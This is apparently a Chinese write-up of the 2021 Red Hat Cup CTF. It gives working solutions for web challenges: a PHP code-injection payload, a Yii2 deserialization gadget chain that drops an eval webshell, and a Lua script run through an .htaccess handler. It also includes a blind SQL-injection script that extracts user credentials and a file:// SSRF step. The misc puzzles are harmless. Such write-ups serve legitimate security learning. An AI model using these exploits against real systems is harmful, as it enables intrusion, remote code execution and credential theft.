红帽杯 2021

Web

find_it

robots.txt 下可以读到如下内容。

text
1
2
3
When I was a child,I also like to read Robots.txt

Here is what you want:1ndexx.php

/.1ndexx.php.swp 下可以读到如下内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}

#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

尝试在 hack.php 中写入 phpinfo,使用如下载荷即可。

1
?code=?><?php%20phpinfo();%20?>

访问 hack.php 可在 phpinfo 中找到 ICQ_FLAG。

1
flag{eb06d4ad-87aa-4e6f-b874-dcb33edaefde}

framework

/www.zip 存在源码泄露,使用 wget 指令添加 -t0 参数来下载(try 123 才下好就离谱)。拿下框架代码后可以发现在 controllers/SiteController.php 下存在一个反序列化点。

1
2
3
4
5
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}

因此只需要找一个反序列化链执行即可。在 vendor/yiisoft/yii2/rest/CreateAction.php 下可以找到 run() 方法下的一个利用点。

1
2
3
4
5
6
7
public function run(){

if ($this->checkAccess){
call_user_func($this->checkAccess, $this->id);
}
//...
}

因此这部分只需要如此构造即可写入 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
namespace yii\rest {

use Yii;

class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = "assert";
$this->id = "file_put_contents(\"php://filter/write=convert.base64-decode/resource=shell.php\",\"PD9waHAgZXZhbCgkX0dFVFsiaDN4Il0pOyBwaHBpbmZvKCk7ID8+\")";
}
}
}

接下来只需要找一个构造一个可以触发到上述方法的类即可,很容易找到 vendor/fzaninotto/faker/src/Faker/Generator.php 下的 format() 方法中含有一个 call_user_func_array($this->getFormatter($formatter), $arguments),而 format() 方法可以由 __call 触发到,因此只需要找一个对其调用不存在方法的类即可。这部分可以如此构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
namespace Faker {

use yii\rest\CreateAction;

class Generator{
protected $formatters = array();

public function __construct(){
$this->formatters['close'] = [new CreateAction(), "run"];
}

}
}

vendor/yiisoft/yii2/db/BatchQueryResult.php 下可以找到 __destruct() 调用到了类中的 reset() 方法,而其中包含了对可控参数 $this->_dataReaderclose() 方法的调用。因此构造出如下代码来满足利用条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
namespace yii\db {

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator();
}
}
}

只需要将上述代码合起来并生成载荷即可写入 shell。访问 shell 可以在 phpinfo 中找到如下 disable_functions。

text
1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,mail,putenv,error_log,error_reporting,unset,unlink,return

后续的步骤可以上传一个 lua 脚本来读取 flag。这里摘录一下 @Harvey 师傅的 lua 脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
require "string"

--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end

只需要再写入 .htaccess 使上传的 lua 脚本得以执行即可得到 flag。

text
1
AddHandler lua-script .lua

WebsiteManger

image.php 的 GET 参数 id 存在 SQL 注入点,逻辑是 /image.php?id=null/**/or(1=0)#,尝试使用盲注来获取信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import time
from urllib.parse import urlencode

import requests
url = "http://HOST/image.php"
session = requests.session()


def main():
text = ""
keywords = ""
for i in range(1, 200):
low = 32
high = 126
while low <= high:
mid = int((low + high) / 2)
# sql = f"null/**/or(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)/**/where/**/table_schema=database()),{i},1))>{mid})#" # images,users
# sql = f"null/**/or(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)/**/where/**/table_schema=database()),{i},1))>{mid})#" # id,path,username,password
sql = f"null/**/or(ascii(substr((select/**/group_concat(username,':',password)from(users)),{i},1))>{mid})#" # admin:c6caf56650e4f2915da6c
payload = f"?id=" + sql
r = session.get(url + payload)
if len(r.content) != 50811:
high = mid - 1
else:
low = mid + 1
if mid == 32 or mid == 126:
return
print(i)
mid_num = int((high + low + 1) / 2)
text += chr(mid_num)
print(text)


if __name__ == '__main__':
main()


登录上去之后直接提交 file:///flag 进行 SSRF,即可得到如下回显。

1
flag{f56d321d-50d8-4d4e-816e-621ce8c89806}

Misc

签到

010 editor 打开附件,使用 EBCDIC 的编辑方式即可看到 flag。

colorful code

以附件中的 data1 的内容为像素点,以 data2 的内容为像素点所在位置,编写脚本将图片画出来。

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image

data1 = open("data1", "r").read().split(" ")
data2 = open("data2", "rb").read()

pixels = [(data2[x], data2[x + 1], data2[x + 2]) for x in range(0, len(data2) // 3, 3)]
pixelsInOrder = [pixels[int(x)] for x in data1[:-1]]
image = Image.new('RGB', (37, 191), "white")
[image.putpixel((y, x), pixelsInOrder[x + y * 191]) for x in range(191) for y in range(37)]

image.save("this.png")

使用 npiet 执行上图并将得到的输出包上 flag 格式可得到 flag。

1
flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}